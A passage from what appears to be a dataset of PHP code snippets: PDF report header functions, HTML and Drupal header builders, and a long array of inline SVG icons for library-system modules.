true);\r\n\t\t\t$y4 = $this->getY();\r\n\t\t\t$x4 = $this->getX();\r\n\t\t\t$this->setY($y1);\r\n\t\t\t$this->setX($x1);\r\n\t\t\t$this->Image( 'images/logo_medium.png', 22, 11, 68 );\r\n\t\t\t$this->setY($y2+5);\r\n\t\t\t$this->setX($x2+1);\r\n\t\t\t$this->Formato( 'Helvetica', 'B', 10 );\r\n\t\t\t$this->Celda(162, 6, 'Formulario B.M.4', 0, 1, 'C', true);\r\n\t\t\t$this->Formato( 'Helvetica', '', 8 );\r\n\t\t\t$this->setX($x2+1);\r\n\t\t\t$this->Celda(162, 8, 'Resumen de la Cuenta de Bienes', 0, 1, 'C', true);\r\n\t\t\t$this->setY($y3);\r\n\t\t\t$this->setX($x3);\r\n\t\t\t$this->Celda(31, 8, 'HOJA Nro.', 1, 1, 'C', true);\r\n\t\t\t$this->setX($x3);\r\n\t\t\t$this->Celda(31, 15, $this->header['hoja'], 1, 1, 'C', true);\r\n\t\t\t$this->setY($y4);\r\n\t\t\t$this->setX($x4);\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 6:\r\n\t\t\t$this->EncabezadoFBM5();\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}",
"function image_svg_to_icon_blob($svg_string, &$height = 0, &$width = 0, $color = false)\n{\n $im = image_svg_string_to_icon_obj($svg_string, $height, $width, $color);\n return image_return_blob($im);\n}",
"function Header()\n\t{\n\t\t$this->Image('../imagenes/logo.jpg',15,10,40);\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->SetXY(70,15)\t;\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','L');\n\t//\t$this->MultiCell(190,5,\"CABLE, C.A.\",'0','L');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->SetX(70)\t;\n\t\t$this->MultiCell(190,5,strtoupper(_(tipo_serv())),'0','L');\n\t\t//$this->Ln(8);\n\t}",
"function megatron_ubc_clf_header($variables) {\n global $base_path;\n $output = '';\n if (theme_get_setting('clf_faculty')) {\n $output .= '<div id=\"ubc7-unit-name\"><a href=\"' . $base_path . '\"><span id=\"ubc7-unit-faculty\">' . theme_get_setting('clf_faculty_name');\n $output .= '</span><span id=\"ubc7-unit-identifier\">';\n $output .= '' . theme_get_setting('clf_unitname') . '</span></a></div>';\n }\n else {\n $output .= '<div id=\"ubc7-unit-name\" class=\"ubc7-single-element\"><a href=\"/\"><span id=\"ubc7-unit-identifier\">';\n $output .= '' . theme_get_setting('clf_unitname') . '</span></a></div>';\n }\n return $output;\n}",
"function Header()\n{\n\t$this->Image('recursos/logo.jpg', 20, 20, 180 );\n\t$this->SetFont('Arial','',10);\n\t$this->Text(20,14,'',0,'C', 0);\n\t$this->Ln(30);\n}",
"private function generateHead() {\n echo '<h3><span class=\"glyphicon glyphicon-camera\"></span> Images</h3>';\n echo '<div class=\"row\">';\n }",
"public function Header() {\r\n $this->SetTextColor(0,0,0);\r\n $this->SetDrawColor(0,0,0);\r\n /* definimos variables con titulo y subtitulo */\r\n $titulo=\"Coordinación de Calidad\";\r\n $subtitulo=\"Reporte Diario de Sustancias Químicas \";\r\n /* posicionamos el puto de insercion 2mm. debajo\r\n del borde del papel */\r\n $this->SetY(8);\r\n /* escribimos el titulo con la fuente que se establezca\r\n por el método opcion SetHeaderFont */\r\n $this->SetFont('helvetica', 'B', 14);\r\n\r\n $this->Cell(0, 5,$titulo,0,1,'C');\r\n /* modificamos tipografia para el subtitulo\r\n e insertamos este */\r\n $this->SetFont('helvetica', '', 12);\r\n $this->Cell(0, 2,$subtitulo,0,1,'C');\r\n /* trazamos un rectangulo sombreado que por sus dimensiones\r\n ocupará el area de texto de la pagina */\r\n \r\n /*trazamos una linea roja debajo del encabezado */\r\n $this->Line(15,30,195,30); \r\n /* insertamos una imagen de fondo con 15% de opacidad */\r\n \r\n $this->Image('logo.png',0,0,30,30,\r\n '','','N','','','L');\r\n /* recuperamos la opacidad por defecto */\r\n \r\n }",
"public function GetHuvud() {\r\n\r\n $html = <<<EOD\r\n <!-- HÄR KOMMER HUVUDET --> \r\n <g id=\"huvud\">\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"201.107\" cy=\"59.149\" rx=\"11.376\" ry=\"14.14\"/>\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"196.243\" cy=\"53.595\" rx=\"2.024\" ry=\"2.413\"/>\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"204.322\" cy=\"53.595\" rx=\"2.024\" ry=\"2.413\"/>\r\n <path fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" d=\"M194.896,65.322c0-1.737,2.206-3.143,4.934-3.143\"/>\r\n <path fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" d=\"M203.869,65.322c0-1.737-2.206-3.143-4.934-3.143\"/>\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"199.872\" cy=\"57.654\" rx=\"1.614\" ry=\"1.085\"/>\r\n </g>\r\nEOD;\r\n return $html;\r\n }",
"public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nXML Schemas continued..\nMAINHEADING;\n }",
"private static function get_svg( $location, $atts = [] ) {\n if ( ! $location || ! file_exists( $location ) ) {\n return;\n }\n $atts = static::handle_element_atts( $atts );\n return str_replace( '<svg ',\n '<svg ' . Utils::array_to_atts_str( $atts ),\n file_get_contents( $location )\n );\n }",
"protected function generateGraphic() {}",
"function htmlHeader($title){\n\treturn \"<!DOCTYPE html>\n\t\t<html>\n\t\t<head>\n\t\t<title>$title</title><meta charset='utf-8'/>\n\t\t<style>\n\t\t\tbody{\n\t\t\t\tbackground-color: #ccc;\n\t\t\t\tbackground-image: linear-gradient(45deg, rgba(255, 255, 255, 0.2) 25%, rgba(0, 0, 0, 0) 25%, rgba(0, 0, 0, 0) 50%, rgba(255, 255, 255, 0.2) 50%, rgba(255, 255, 255, 0.2) 75%, rgba(0, 0, 0, 0) 75%, rgba(0, 0, 0, 0));\n\t\t\t\tbackground-size: 50px 50px;\n\t\t\t}\n\t\t</style>\n\t\t</head>\n\t\t<body>\";\n}",
"public function Header() {\n // si la pagina es diferente de la 2\n // if (count($this->pages) !== 2) \n // {\n // Logo\n $image_file = K_PATH_IMAGES.'logoesen.jpg';\n $this->Image($image_file, 90, 5, 25, '', 'JPG', '', 'T', false, 300, '', false, false, 0, false, false, false);\n // Set font\n $this->SetFont('helvetica', 'B', 20);\n // Title\n //$this->Cell(0, 15, '<< TCPDF Example 003 >>', 0, false, 'C', 0, '', 0, false, 'M', 'M');\n // }\n }",
"function moduleLeftList()\n{\n // define icon\n $module_icon = [\n 'bibliography' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\"> <g id=\"g1174\" transform=\"translate(106.46753,128.49679)\"> <g transform=\"matrix(1.2714286,0,0,1.2714286,-120.88742,-140.01499)\" id=\"g907\"> <circle style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.583359;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"circle895\" cx=\"46.341488\" cy=\"44.059261\" r=\"35\" /> <g id=\"g905\" transform=\"translate(2.737582,-2.1401071)\"> <rect style=\"fill:#3498db;stroke:#505050;stroke-width:1.71834;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect897\" width=\"29.254547\" height=\"37.815216\" x=\"30.942619\" y=\"27.134706\" /> <rect y=\"28.161148\" x=\"30.926674\" height=\"36.804504\" width=\"28.162392\" id=\"rect899\" style=\"fill:#ecf0f1;stroke:#505050;stroke-width:1.66329;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect y=\"27.134617\" x=\"27.010555\" height=\"38.145092\" width=\"28.995415\" id=\"rect901\" style=\"fill:#3498db;fill-opacity:1;stroke:#505050;stroke-width:1.71816;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <path d=\"m 30.926704,27.119118 v 11.08032 h 0.399725 l 2.065052,-1.835416 2.167962,1.835416 h 0.386668 v -11.08032 z\" style=\"fill:#ecf0f1;stroke:#505050;stroke-width:1.71834;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"path903\" /> </g> </g> </g> </g> </svg>',\n 'circulation' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\" xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\" sodipodi:docname=\"circulation_web.svg\" inkscape:version=\"1.0 (4035a4fb49, 2020-05-01)\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <sodipodi:namedview inkscape:window-maximized=\"1\" inkscape:window-y=\"25\" inkscape:window-x=\"0\" inkscape:window-height=\"695\" inkscape:window-width=\"1366\" showgrid=\"false\" inkscape:document-rotation=\"0\" inkscape:current-layer=\"layer1\" inkscape:document-units=\"mm\" inkscape:cy=\"170.09694\" inkscape:cx=\"612.49572\" inkscape:zoom=\"0.7\" inkscape:pageshadow=\"2\" inkscape:pageopacity=\"0.0\" borderopacity=\"1.0\" bordercolor=\"#666666\" pagecolor=\"#ffffff\" id=\"base\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\" inkscape:groupmode=\"layer\" inkscape:label=\"Lapis 1\"> <g id=\"g1185\" transform=\"translate(0.18314067,129.50548)\"> <g id=\"g962\" transform=\"translate(-0.71230785,-130.03465)\"> <circle r=\"44.5\" cy=\"45.029167\" cx=\"45.029167\" id=\"path861\" style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.741699;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <g transform=\"matrix(0.82613357,0,0,0.80992807,6.6088374,9.8078435)\" id=\"g952\"> <rect style=\"fill:#2ecc71;fill-opacity:1;stroke:#505050;stroke-width:3;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect915\" width=\"63.603176\" height=\"61.420513\" x=\"14.704608\" y=\"12.776721\" ry=\"4.7307506\" /> <g id=\"g944\" transform=\"matrix(0.863902,0,0,0.85945422,6.2086824,6.099837)\"> <path d=\"m 27.621669,29.502204 -6.688728,7.50794 4.298743,-0.05985 v 20.020304 h 4.329284 V 36.889691 l 4.697947,-0.06544 z\" style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:2.78906;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect923\" /> <path id=\"path928\" style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:2.78906;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" d=\"m 65.721672,57.499844 -6.688728,-7.50794 4.298743,0.05985 v -20.0203 h 4.329284 v 20.080903 l 4.697947,0.06544 z\" /> <path id=\"path930\" style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:3.02138;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" d=\"m 62.763539,23.683013 -8.810832,-6.688728 0.07024,4.298743 H 30.528415 v 4.329284 h 23.565648 l 0.07679,4.697947 z\" /> <path d=\"m 29.999151,63.370517 8.810832,-6.688728 -0.07024,4.298743 h 23.494532 v 4.329284 H 38.668627 l -0.07679,4.697947 z\" style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:3.02138;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"path932\" /> </g> </g> </g> </g> </g> </svg>',\n 'membership' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\" xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\" sodipodi:docname=\"membership_web.svg\" inkscape:version=\"1.0 (4035a4fb49, 2020-05-01)\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <sodipodi:namedview inkscape:window-maximized=\"1\" inkscape:window-y=\"25\" inkscape:window-x=\"0\" inkscape:window-height=\"695\" inkscape:window-width=\"1366\" showgrid=\"false\" inkscape:document-rotation=\"0\" inkscape:current-layer=\"layer1\" inkscape:document-units=\"mm\" inkscape:cy=\"170.09694\" inkscape:cx=\"612.49572\" inkscape:zoom=\"0.7\" inkscape:pageshadow=\"2\" inkscape:pageopacity=\"0.0\" borderopacity=\"1.0\" bordercolor=\"#666666\" pagecolor=\"#ffffff\" id=\"base\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\" inkscape:groupmode=\"layer\" inkscape:label=\"Lapis 1\"> <g id=\"g1196\" transform=\"translate(-102.73074,122.68412)\"> <circle style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.741699;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"circle1056\" cx=\"147.23074\" cy=\"-78.18412\" r=\"44.5\" /> <g transform=\"translate(97.224381,-120.36928)\" id=\"g1072\"> <g id=\"g1064\"> <ellipse ry=\"5.5320091\" rx=\"5.532011\" cy=\"25.856213\" cx=\"59.352348\" id=\"ellipse1058\" style=\"fill:#2ecc71;fill-opacity:1;stroke:#505050;stroke-width:3.93598;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <path sodipodi:nodetypes=\"cccc\" d=\"M 58.850186,36.76772 76.690708,54.304511 C 63.643093,70.950737 46.154262,61.325033 41.313396,54.608241 Z\" style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:4.98354;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"path1060\" /> <path id=\"path1062\" style=\"fill:#2980b9;fill-opacity:1;stroke:none;stroke-width:1.14713;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" d=\"m 58.850186,36.76772 3.295668,5.029989 -3.23956,5.117109 -3.295668,-5.02999 z\" /> </g> <ellipse ry=\"5.5320091\" rx=\"5.532011\" cy=\"25.856213\" cx=\"41.360695\" id=\"ellipse1066\" style=\"fill:#7f8c8d;fill-opacity:1;stroke:#505050;stroke-width:3.93598;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <path sodipodi:nodetypes=\"cccc\" d=\"m 40.858534,36.76772 17.840522,17.536791 -35.377311,0.30373 z\" style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:4.98354;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"path1068\" /> <path id=\"path1070\" style=\"fill:#16a085;fill-opacity:1;stroke:none;stroke-width:1.14713;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" d=\"m 40.858534,36.76772 3.295668,5.029989 -3.23956,5.117109 -3.295667,-5.02999 z\" /> </g> </g> </g> </svg>',\n 'master_file' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\" xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\" sodipodi:docname=\"masterfile_web.svg\" inkscape:version=\"1.0 (4035a4fb49, 2020-05-01)\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <sodipodi:namedview inkscape:window-maximized=\"1\" inkscape:window-y=\"25\" inkscape:window-x=\"0\" inkscape:window-height=\"695\" inkscape:window-width=\"1366\" showgrid=\"false\" inkscape:document-rotation=\"0\" inkscape:current-layer=\"layer1\" inkscape:document-units=\"mm\" inkscape:cy=\"170.09694\" inkscape:cx=\"612.49572\" inkscape:zoom=\"0.7\" inkscape:pageshadow=\"2\" inkscape:pageopacity=\"0.0\" borderopacity=\"1.0\" bordercolor=\"#666666\" pagecolor=\"#ffffff\" id=\"base\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\" inkscape:groupmode=\"layer\" inkscape:label=\"Lapis 1\"> <g id=\"g1216\" transform=\"translate(-205.71654,129.46401)\"> <circle style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.741699;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"circle1188\" cx=\"250.21654\" cy=\"-84.964012\" r=\"44.5\" /> <g transform=\"matrix(0.8137019,0,0,0.8137019,213.41493,-119.95353)\" id=\"g1222\"> <rect y=\"12.967948\" x=\"26.920876\" height=\"55.302444\" width=\"41.904682\" id=\"rect1190\" style=\"fill:#a0d9ff;fill-opacity:1;stroke:#505050;stroke-width:5.40838;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <g id=\"g1220\"> <rect y=\"25.099907\" x=\"32.306278\" height=\"0.93088984\" width=\"33.146427\" id=\"rect1192\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1194\" width=\"33.146427\" height=\"0.93088984\" x=\"32.306278\" y=\"30.391573\" /> <rect y=\"36.212406\" x=\"32.306278\" height=\"0.93088984\" width=\"33.146427\" id=\"rect1196\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1198\" width=\"33.146427\" height=\"0.93088984\" x=\"32.306278\" y=\"41.504074\" /> <rect y=\"46.795742\" x=\"32.306278\" height=\"0.93088984\" width=\"33.146427\" id=\"rect1200\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1202\" width=\"33.146427\" height=\"0.93088984\" x=\"32.306278\" y=\"52.616577\" /> <g transform=\"translate(1.0583333,-0.52916667)\" id=\"g1218\"> <rect style=\"fill:#fbfbfb;fill-opacity:1;stroke:#505050;stroke-width:5.40838;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1204\" width=\"41.904682\" height=\"55.302444\" x=\"20.570877\" y=\"18.259615\" /> <rect y=\"30.92074\" x=\"24.897945\" height=\"0.93088984\" width=\"33.146427\" id=\"rect1206\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1208\" width=\"33.146427\" height=\"0.93088984\" x=\"24.897945\" y=\"36.212406\" /> <rect y=\"42.033241\" x=\"24.897945\" height=\"0.93088984\" width=\"33.146427\" id=\"rect1210\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1212\" width=\"33.146427\" height=\"0.93088984\" x=\"24.897945\" y=\"47.324909\" /> <rect y=\"52.616577\" x=\"24.897945\" height=\"0.93088984\" width=\"33.146427\" id=\"rect1214\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.953461;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1216\" width=\"33.146427\" height=\"0.93088984\" x=\"24.897945\" y=\"58.437412\" /> </g> </g> </g> </g> </g> </svg>',\n 'stock_take' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\" xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\" sodipodi:docname=\"stocktake.svg\" inkscape:version=\"1.0 (4035a4fb49, 2020-05-01)\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <sodipodi:namedview inkscape:window-maximized=\"1\" inkscape:window-y=\"25\" inkscape:window-x=\"0\" inkscape:window-height=\"695\" inkscape:window-width=\"1366\" showgrid=\"false\" inkscape:document-rotation=\"0\" inkscape:current-layer=\"layer1\" inkscape:document-units=\"mm\" inkscape:cy=\"170.09694\" inkscape:cx=\"612.49572\" inkscape:zoom=\"0.7\" inkscape:pageshadow=\"2\" inkscape:pageopacity=\"0.0\" borderopacity=\"1.0\" bordercolor=\"#666666\" pagecolor=\"#ffffff\" id=\"base\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\" inkscape:groupmode=\"layer\" inkscape:label=\"Lapis 1\"> <g id=\"g1233\" transform=\"translate(-310.27756,128.244)\"> <circle style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.741699;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"circle1467\" cx=\"354.77756\" cy=\"-83.744003\" r=\"44.5\" /> <g transform=\"matrix(1.1048537,0,0,1.1926895,306.82624,-135.28149)\" id=\"g1495\"> <rect y=\"20.591423\" x=\"54.623814\" height=\"35.920689\" width=\"6.7774096\" id=\"rect1469\" style=\"fill:#f1c40f;fill-opacity:1;stroke:#505050;stroke-width:1.34325;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect y=\"24.991159\" x=\"38.571468\" height=\"35.920689\" width=\"6.7774096\" id=\"rect1471\" style=\"fill:#64edff;fill-opacity:1;stroke:#505050;stroke-width:1.34325;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#27ae60;fill-opacity:1;stroke:#505050;stroke-width:1.34325;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1473\" width=\"6.7774096\" height=\"35.920689\" x=\"46.508976\" y=\"23.932825\" /> <rect y=\"23.846973\" x=\"46.423122\" height=\"36.594509\" width=\"1.6522932\" id=\"rect1475\" style=\"fill:#1abc9c;fill-opacity:1;stroke:#505050;stroke-width:0.669427;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#57ebce;fill-opacity:1;stroke:#505050;stroke-width:0.669427;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1477\" width=\"1.6522932\" height=\"36.594509\" x=\"38.485615\" y=\"24.905308\" /> <g id=\"g1483\" transform=\"matrix(1.6091572,0,0,1.1336288,-23.012641,-8.361513)\"> <rect y=\"24.991159\" x=\"30.633961\" height=\"35.920689\" width=\"6.7774096\" id=\"rect1479\" 